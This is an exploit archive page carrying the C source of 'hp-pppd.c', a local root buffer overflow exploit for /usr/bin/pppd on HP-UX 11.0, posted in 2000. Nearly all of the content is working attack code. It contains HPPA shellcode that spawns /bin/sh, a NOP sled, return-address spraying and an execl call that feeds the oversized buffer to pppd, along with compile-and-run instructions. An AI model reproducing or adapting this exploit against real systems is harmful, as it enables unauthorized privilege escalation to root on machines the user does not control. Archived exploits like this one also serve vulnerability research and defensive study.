what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

hp-pppd.c

hp-pppd.c
Posted Dec 6, 2000
Authored by Shane A. Macaulay

HP/UX v11.0 /usr/bin/pppd local root buffer overflow exploit.

tags | exploit, overflow, local, root
systems | hpux
SHA-256 | fe3f5dd4d79deb81bc655988c0acc2f21da6e77fad6cfac1b4dcdac71dd5c744

hp-pppd.c

Change Mirror Download
/*      Copyright (c) 2000 ADM                                  */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
/* */
/* Title: HP-UX pppd */
/* Tested under: HP-UX 11.0 */
/* By: K2 */
/* Use: gcc -o pppd hp-pppd.c ; ./pppd */
/* (more hp to come :) */
/* */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH 22000
#define STACK_OFFSET 8042
#define EXTRA 3000
#define HPPA_NOP 0x3902800b /* weirdo nop */

u_char hppa_shellcode[] =
"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff\xf
f";

u_long get_sp(void)
{
__asm__("copy %sp,%ret0 \n");
}

int main(int argc, char *argv[])
{
char buf[BUF_LENGTH + 8];
unsigned long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(hppa_shellcode),dso=STACK_OFFSET,xtra=EXTRA;

if(argc > 1) dso+=atoi(argv[1]);
if(argc > 2) xtra+=atoi(argv[2]);

long_p = (u_long *) buf;

for (i = 0; i < (BUF_LENGTH - code_length - xtra) / sizeof(u_long); i++)
*long_p++ = HPPA_NOP;

char_p = (u_char *) long_p;

char_p--; /* weirdness alighnment issue */

for (i = 0; i < code_length; i++)
*char_p++ = hppa_shellcode[i];

targ_addr = get_sp() - dso;

for (i = 0; i < xtra /4; i++)
{
*char_p++ =(targ_addr>>24)&255;
*char_p++ =(targ_addr>>16)&255;
*char_p++ =(targ_addr>>8)&255;
*char_p++ =(targ_addr)&255;
}

printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",targ_addr,strlen(buf)
,xtra,dso);

execl("/usr/bin/pppd","pppd", buf,(char *) 0);
perror("execl failed");
return(-1);
}
/* www.hack.co.za [20 November 2000]*/
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close